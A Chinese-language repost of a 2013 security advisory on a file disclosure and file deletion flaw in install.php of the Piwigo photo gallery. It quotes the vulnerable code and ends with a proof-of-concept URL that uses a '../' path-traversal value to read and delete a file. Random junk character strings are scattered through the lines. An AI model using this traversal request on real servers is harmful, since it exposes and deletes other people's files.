Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

8 s1 O% c) f3 }( K+ K5 @Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
7 A! F  }( E- Z* z$ E: g9 g====================================================================
" w% v, d0 D  e- j* t" a5 @0 p/install.php:
-------------
6 l* K1 j0 V- C113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
- |- S: d& P1 I$ }* c116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
  ]# v7 p3 x7 t$ U7 ~( m' u1 L) U5 l- i118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) Z8 q* a4 w. s" c# z: N119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
1 l7 `! P6 |4 U0 U: c5 C  R0 G121:   echo file_get_contents($filename);
. _, X. n0 ^; U0 R$ g: X- k122:   unlink($filename);
123:   exit();
$ \) I  n6 A; N  ]. \& s- j124: }
====================================================================

: p0 Z: T4 k2 F  N1 |Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

' z' r7 ]% C. v) m6 NVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
3 h6 I9 ^* D0 E/ e& w, h1 `
4 d* p) s+ ~# `4 WAdvisory ID: ZSL-2013-5127
5 d7 x/ V& h+ L) h' x4 {7 c  q0 J% zAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
% L- E0 R! e; _' W5 |: x% MVendor Patch: http://piwigo.org/bugs/view.php?id=2843
- W$ v. @( _% _
15.02.2013

2 h7 s: e! s1 g% S) i--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt